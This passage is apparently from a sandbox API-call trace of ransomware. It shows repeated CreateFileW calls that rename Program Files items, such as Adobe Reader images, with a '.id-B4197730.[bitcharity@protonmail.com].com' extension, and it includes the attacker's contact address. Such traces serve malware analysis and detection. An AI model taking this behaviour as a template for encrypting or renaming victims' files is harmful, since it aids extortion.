files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.040] CloseHandle (hObject=0x11c4) returned 1 [0278.050] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.050] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.050] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.051] CloseHandle (hObject=0x11c4) returned 1 [0278.052] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.052] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.052] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.052] CloseHandle (hObject=0x11c4) returned 1 [0278.053] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.053] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.053] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.053] CloseHandle (hObject=0x11c4) returned 1 [0278.057] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.057] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.057] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.057] CloseHandle (hObject=0x11c4) returned 1 [0278.062] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.062] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.062] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.063] CloseHandle (hObject=0x11c4) returned 1 [0278.064] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.064] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.064] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.064] CloseHandle (hObject=0x11c4) returned 1 [0278.065] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.065] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.065] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.065] CloseHandle (hObject=0x11c4) returned 1 [0278.322] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.322] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.322] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\detector_131491847713900000.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.323] CloseHandle (hObject=0x11c8) returned 1 [0280.392] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.392] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.393] CloseHandle (hObject=0x1160) returned 1 [0280.394] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.394] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.394] CloseHandle (hObject=0x1160) returned 1 [0280.395] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.396] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.396] CloseHandle (hObject=0x1160) returned 1 [0280.397] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.397] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.398] CloseHandle (hObject=0x1160) returned 1 [0280.399] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.399] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.399] CloseHandle (hObject=0x1160) returned 1 [0280.400] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.400] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.401] CloseHandle (hObject=0x1160) returned 1 [0280.402] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.402] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.402] CloseHandle (hObject=0x1160) returned 1 [0280.404] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.404] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.404] CloseHandle (hObject=0x1160) returned 1 [0280.406] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.406] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.406] CloseHandle (hObject=0x1160) returned 1 [0280.407] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.407] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.408] CloseHandle (hObject=0x1160) returned 1 [0280.412] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.412] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.412] CloseHandle (hObject=0x1160) returned 1 [0280.413] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.414] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.414] CloseHandle (hObject=0x1160) returned 1 [0280.415] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.415] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.416] CloseHandle (hObject=0x1160) returned 1 [0280.416] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.416] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.417] CloseHandle (hObject=0x1160) returned 1 [0280.418] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.418] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.418] CloseHandle (hObject=0x1160) returned 1 [0280.422] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.422] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.422] CloseHandle (hObject=0x1160) returned 1 [0280.424] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.424] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.424] CloseHandle (hObject=0x1160) returned 1 [0280.425] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.425] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.428] CloseHandle (hObject=0x1160) returned 1 [0280.431] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.432] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.432] CloseHandle (hObject=0x1160) returned 1 [0280.707] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.707] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.707] CloseHandle (hObject=0x1160) returned 1 [0280.964] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.964] 